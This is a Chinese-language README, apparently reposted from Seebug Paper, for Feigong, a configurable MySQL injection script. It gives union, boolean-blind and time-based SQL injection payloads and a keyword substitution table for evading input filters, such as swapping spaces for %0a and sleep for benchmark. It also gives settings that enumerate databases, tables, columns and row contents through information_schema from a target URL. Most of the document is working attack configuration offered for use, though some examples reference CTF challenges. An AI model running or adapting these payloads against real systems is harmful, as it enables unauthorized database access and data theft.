項目地址:https://github.com/LoRexxar/Feigong

作者:LoRexxar

非攻

取自《秦時明月》--非攻,針對不同情況自由變化的武器

Feigong,針對各種情況自由變化的mysql注入腳本

Feigong,In view of the different things freely change the mysql injection script

什么是非攻?

在sqlmap的使用過程中,常常碰到很普通的繞過過濾方式,例如空格-->%0b、%0a,但是卻沒辦法使用sqlmap來獲取數據的情況,于是花了很長時間來完善腳本,讓非攻可以通過修改config.py一個文件中的設置,讓非攻在面對不同情況時成為了靈活多變的注入腳本...

非攻目前集成了對mysql的normal、build、time,3種注入方式...

在使用非攻之前

1、首先你需要找到一個注入點(在考慮寫一個這樣的工具)

2、判斷數據庫為mysql

3、通過巧妙地過濾可以獲取數據

4、開始使用非攻

使用文檔

Feigong
│  .gitignore
│  feigong.py
│  README.md
│
├─demo
│  ├─demo1
│  │      advanced_config.py
│  │      config.py
│  │
│  └─demo2
│          advanced_config.py
│          config.py
│
├─lib
│      Conpayload.py
│      data.py
│      dealpayload.py
│      log.py
│      unpack.py
│      __init__.py
│
├─log
│
└─sqlier
    │  advanced_config.py
    │  config.py
    │  __init__.py
    │
    ├─configuration
    │      buildconfig.py
    │      __init__.py
    │
    ├─default
    │      advanced_config_default.py
    │      config_default.py
    │      __init__.py
    │
    ├─tamper
    │      expand.py
    │      __init__.py
    │
    └─techniques
            columns.py
            content.py
            database.py
            tables.py
            test.py
            __init__.py

Feigong一切一切的核心在于sqlier/config.py和sqlier/advanced_config.py,代碼層的自定義可以面對任何情況

安裝

你可以通過點擊下載,或者git clone來獲取源碼

git clone https://github.com/LoRexxar/Feigong.git

使用

首先你需要安裝依賴

pip install -r requirements.txt

打開對應Feigong的目錄,跑一下默認demo看看結果

python feigong.py

開始

Feigong是通過修改sqlier/config.py & sqlier/advanced_config.py來實現注入的,config.py是feigong的基礎配置,advanced_config.py是進階配置,而default中是默認的配置文件,以免默認修改過后找不到正確的配置。

config.py是基礎配置,只有基礎配置完成的情況下才能進行正常的配置。

class BaseConfig:
    def __init__(self):
        """
        基類初始化,整個注入工具的核心配置
        """
        # 目標url
        self.url = 'http://demo.lorexxar.pw/get.php'

        # 請求頭參數
        # cookies = {"username":data,"path":"/admin/","domain":"451bf8ea3268360ee.jie.sangebaimao.com"}
        # self.headers = {"Cookie": "username=" + data + "; captcha=od8lgg6f7i71q16j9rd7p7j9a2; username=" + data}
        self.headers = {}

        # 傳參方式 0為GET 1為POST
        SqliRequest = (
            "GET",
            "POST"
        )
        self.sqlirequest = SqliRequest[0]

        # 注入方式 0為正常 1為盲注 2為時間盲注
        SqliMethod = (
            "normal",
            "build",
            "time"
        )
        self.sqlimethod = SqliMethod[1]
        """
        從這里開始,要進入對于payload的配置了,首先需要對注入語句進行配置,然后注入語句通過自定義的替換表,之后構造注入語句為請求
        payload===>替換為指定payload===>自定義替換表===>請求===>開始注入

        若為normal注入,必須構造返回BSqlier的payload,并通過test模式修改解包函數直至可以獲取返回值(必須以空格為分隔符,結尾必須只有一個詞(結尾可以通過修改自定義替換表中的值來修改))
        eg: self.payload = "padding' union all select 1,'Feigong' #"

        若為build注入,則為與、或條件構造,如果是與注入,padding必須為返回值的條件
        eg: self.payload = "padding' && 2333 #"

        若為time注入,則可以使用上面兩種的任何一種,格式與其相符,同樣,關鍵位置使用2333或者'Feigong'填充
        eg: self.payload = "padding' union all select 1,'Feigong' #"
        eg: self.payload = "padding' && 2333 #"

        """
        self.payload = "padding' && 2333 #"

        """
        配置請求,把請求中payload的位置設置為Feigong(如果拼錯了就會全部無效...)
        self.requesetformat = "user=Feigong&passwd=ddog123&submit=Log+In"
        self.requesetformat = {"user": "Feigong", "password": "a"}
        """
        self.requesetformat = "user=Feigong&passwd=ddog123&submit=Log+In"
        # self.requesetformat = {"user": "Feigong", "password": "a"}

        """
        在注入之前,你首先需要測試,test.py中包含所有的測試函數,包括test、get_now_database、get_version、get_user

        self.wtest是是否進入測試模式、測試模式優先級最高和普通模式不兼容,默認開啟

        而testmethod則是選擇使用那種測試,互相兼容可以同時跑
        """
        self.wtest = False

        self.testmethod = {
            "test": 0,
            "database": 1,
            "version": 1,
            "user": 1
        }
        """
        正式注入模式的選擇,test模式開啟時,無論正式注入模式是否開啟都無效,默認開啟

        all為全部注入,將自動從database注入直到數據前10條
        content為注入數據,可以預設columns、tables和database
        columns為注入列名,可以預設tables和database
        tables為注入表名,可以預設database
        database為注入表名
        統一規則為如果不預設,則自動調用上一層的類獲取數據
        """
        self.wsqli = True

        self.sqlilocation = {
            "content": 1,
            "columns": 1,
            "tables": 1,
            "database": 1
        }

advanced_config.py是進階配置,進階配置可以配置一些特殊的請況

class AdvanceConfig(BaseConfig):
    def __init__(self):
        """
        進階配置,如果對代碼不夠熟悉,建議不修改這部分配置
        """
        BaseConfig.__init__(self)
        # 版本號
        self.version = "V1.2.0"

        # 初始化request
        self.s = requests.Session()

        # log日志級別,debug為顯示大部分信息,info為注入結果的顯示
        LogLevel = (
            logging.DEBUG,
            logging.INFO,
            logging.WARN
        )
        self.loglevel = LogLevel[0]

        """
        若注入方式為build盲注,則通過返回長度判斷
        永真條件的長度(盲注時需要使用),默認為0,可設置, 如果不設置會默認使用self.payload獲取的返回長度為self.len
        """
        self.len = 0

        """
        若注入方式為time,你需要設置延時,建議根據自己的網絡環境選擇,如果網絡環境較差,建議還是大一點兒
        建議2-5,現在版本還是單線程,所以時間盲注會比較慢...
        """
        self.time = 3

        """
        database可以自定義,默認為空,若為空會調用get_database(),這里是一個列表,必須按照列表格式
        self.databases_name = ['test', 'test2'](當然,如果database_name錯誤...則不會注到數據)
        """
        # self.databases_name = ['hctfsqli1', 'test']
        self.databases_name = []

        """
        然后是table name,tables_name的格式為字典+元組
        self.tables_name = {'hctfsqli1': ('test1', 'test2'), 'test',('test1', 'test2')}(如果有寫錯某些值,則會注不到數據)
        """
        # self.tables_name = {'test': ('test',), 'hctfsqli1': ('hhhhctf', 'test', 'users')}
        self.tables_name = {}

        """
        然后是self.columns_name,columns_name的格式為字典套字典+元組
        self.columns_name = {'test': {'test': ('test', 'test1', 'test2')}, 'test2': {'test': ('test', 'test1', 'test2')}}
        (同樣,如果有寫錯的值,則會注入不到數據)
        """
        # self.columns_name = {'test': {'test': ('test',)}, 'hctfsqli1': {'test': ('test1', 'testtest', 'flag1'), 'users': ('id', 'username'), 'hhhhctf': ('flag',)}}
        self.columns_name = {}

        """
        當選擇注入content時,你需要指定輸入數據的上限,默認為10
        """
        self.content_count = 10

        """
        配置自定義替換表,合理的替換表配置遠遠可以替換出想要的所有情況payload
        """

        self.filter = {
            # padding 為填充字段,build與注入要求padding必須為真值
            'padding': 'user1',
            # 符號替換(url encode是get默認自帶的,不需要修改)
            '\'': '\'',
            '\"': '\"',
            '&': '&',
            '|': '|',
            '>': '>',
            '<': '<',
            '=': '=',
            '.': '.',
            # 注入語句關鍵字替換
            'union': 'union',
            'select': 'SELECT',
            'insert': 'insert',
            'update': 'update',
            'delete': 'delete',
            'limit': 'limit',
            'where': 'where',
            # 注入函數
            'user': 'user',
            'database': 'database',
            'version': 'version',
            'if': 'if',
            'ifnull': 'ifnull',
            'concat': 'concat',
            'ascii': 'ascii',  # hex()、bin()
            'count': 'count',
            'substring': 'substring',  # mid()、substr()
            'length': 'length',
            "sleep(" + repr(self.time) + ")": "sleep(" + repr(self.time) + ")",  # benchmark()
            # 庫名表名關鍵字
            'information_schema': 'information_schema',
            'schemata': 'schemata',
            'schema_name': 'schema_name',
            'tables': 'tables',
            'table_name': 'table_name',
            'columns': 'columns',
            'column_name': 'column_name',
            # 然后是特殊的字符
            ' ': ' ',  # 由于過濾后自動進行url encode,所以替換表不能使用url encode過的字符,eg:%0a->\n %0b->\x0b
            '#': '#'  # --+
        }

        """
        初始化dealpayload類,傳入self.sqlimethod,self.payload, self.requestformat, self.filter
        """
        self.dealpayload = ConPayload(self.sqlirequest, self.payload, self.requesetformat, self.filter, self.time)

Feigong現在的版本還僅僅支持對于mysql的3種注入方式: - 普通注入(normal):也就是會有返回的注入點 - 盲注(build):沒有返回,但可以通過真假條件來判斷執行結果 - 時間盲注(time):沒有返回,但是可以通過返回請求的間隔時間來判斷真假

基礎配置

首先你需要進行基礎的配置,首先是基礎的目標url,請求頭,傳參方式,注入方式等...

# 目標url
self.url = 'http://demo.lorexxar.pw/get.php'
self.s = requests.Session()

# 請求頭參數
# cookies = {"username":data,"path":"/admin/","domain":"451bf8ea3268360ee.jie.sangebaimao.com"}
# self.headers = {"Cookie": "username=" + data + "; captcha=od8lgg6f7i71q16j9rd7p7j9a2; username=" + data}
self.headers = {}

# 傳參方式 0為GET 1為POST
SqliRequest = (
    "GET",
    "POST"
)
self.sqlirequest = SqliRequest[0]

# 注入方式 0為正常 1為盲注 2為時間盲注
SqliMethod = (
    "normal",
    "build",
    "time"
)
self.sqlimethod = SqliMethod[0]

上面的每一步都給出了相應的參數,目標url中,不需要加上參數,關于參數的配置,我們會在后面進行...

ps:如果出現get和post請求都必須存在的情況,若注入點再post,可以直接把get請求代入到目標url中,如果反過來,則暫時不支持

注入方式的配置

根據這一段的選擇,我們會在后面進行不同的配置選項

SqliMethod = (
    "normal",
    "build",
    "time"
)
self.sqlimethod = SqliMethod[0]
normal

如果注入模式為normal,需要定義基礎payload

self.payload = "padding' union all select 1,'Feigong' #"

normal注入的基礎payload要求必須返回Feigong

build

如果注入模式為build,則需要配置基礎payload,設置真值是返回的頁面長度

若為build注入,則為與、或條件構造,如果是與注入,padding必須為返回值的條件
eg: self.payload = "padding' && 2333 #"

對于真值時的返回長度,可自定義,也可以不定義,因為test.py中的test函數會自動設置self.len(使用基礎payload)

 self.len = 0
time

如果注入模式為time,除了要設置基礎payload以外,還需要設置睡眠時間,這部分在進階配置中,默認為2

 self.time = 2

如果網絡環境太差,建議(2-5)

若為time注入,則可以使用上面兩種的任何一種,格式與其相符,同樣,關鍵位置使用2333或者'Feigong'填充

eg: self.payload = "padding' union all select 1,'Feigong' #"
eg: self.payload = "padding' && 2333 #"

配置請求格式

配置請求,把請求中payload的位置設置為Feigong(如果拼錯了就會全部無效...)

self.requesetformat = "user=Feigong&passwd=ddog123&submit=Log+In"
self.requesetformat = {"user": "Feigong", "password": "a"}

上面兩個分別是對于get和post請求的請求格式

選擇注入模式

在注入之前,你首先需要測試,test.py中包含所有的測試函數,包括test、get_now_database、get_version、get_user

self.wtest是是否進入測試模式、測試模式優先級最高和普通模式不兼容,默認開啟

而testmethod則是選擇使用那種測試,互相兼容可以同時跑

self.wtest = True

self.testmethod = {
    "test": 0,
    "database": 1,
    "version": 1,
    "user": 1
}

在test成功后,就要開始正式的注入模式了...

正式注入模式的選擇,test模式開啟時,無論正式注入模式是否開啟都無效,默認開啟

content為注入數據,可以預設columns、tables和database,默認注入10條數據 columns為注入列名,可以預設tables和database tables為注入表名,可以預設database database為注入表名 統一規則為如果不預設,則自動調用上一層的類獲取數據

self.wsqli = True

self.sqlilocation = {
    "content": 1,
    "columns": 1,
    "tables": 1,
    "database": 1
}

進階配置

在進階配置中,我們是可以通過預設值來減少注入的范圍

database可以自定義,默認為空,若為空會調用get_database(),這里是一個列表,必須按照列表格式(當然,如果database_name錯誤...則不會注到數據)

self.databases_name = ['hctfsqli1', 'test']
self.databases_name = []

然后是table name,tables_name的格式為字典+元組(如果有寫錯某些值,則會注不到數據)

self.tables_name = {'test': ('test',), 'hctfsqli1': ('hhhhctf', 'test', 'users')}
self.tables_name = {}

然后是self.columns_name,columns_name的格式為字典套字典+元組(同樣,如果有寫錯的值,則會注入不到數據)

self.columns_name = {'test': {'test': ('test',)}, 'hctfsqli1': {'test': ('test1', 'testtest', 'flag1'), 'users': ('id', 'username'), 'hhhhctf': ('flag',)}}
self.columns_name = {}

當選擇注入content時,你需要指定輸入數據的上限,默認為10

self.content_count = 10

配置自定義替換表

這部分一是在進階配置中

配置自定義替換表,合理的替換表配置遠遠可以替換出想要的所有情況payload

合理的配置替換表,可以定制任意payload,例如 - #-->group by a# - sleep(2)-->benchmark(10000000,sha(1))

總之,如果你對代碼足夠熟悉,可以生成任意payload

self.filter = {
    # padding 為填充字段,build與注入要求padding必須為真值

    'padding': 'user',
    # 符號替換(url encode是get默認自帶的,不需要修改)

    '\'': '\'',
    '\"': '\"',
    '&': '&',
    '|': '|',
    '>': '>',
    '<': '<',
    '=': '=',
    '.': '.',
    # 注入語句關鍵字替換

    'union': 'union',
    'select': 'SELECT',
    'insert': 'insert',
    'update': 'update',
    'delete': 'delete',
    'limit': 'limit',
    'where': 'where',
    # 注入函數

    'user': 'user',
    'database': 'database',
    'version': 'version',
    'if': 'if',
    'ifnull': 'ifnull',
    'concat': 'concat',
    'ascii': 'ascii',  # hex()、bin()
    'count': 'count',
    'substring': 'substring',  # mid()、substr()
    'length': 'length',
    "sleep(" + repr(self.time) + ")": "sleep(" + repr(self.time) + ")",  # benchmark()
    # 庫名表名關鍵字

    'information_schema': 'information_schema',
    'schemata': 'schemata',
    'schema_name': 'schema_name',
    'tables': 'tables',
    'table_name': 'table_name',
    'columns': 'columns',
    'column_name': 'column_name',
    # 然后是特殊的字符

    ' ': ' ',   # 由于過濾后自動進行url encode,所以替換表不能使用url encode過的字符,eg:%0a->\n %0b->\x0b
    '#': '#'    # --+
}

開始注入

開始注入

python feigong.py

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/124/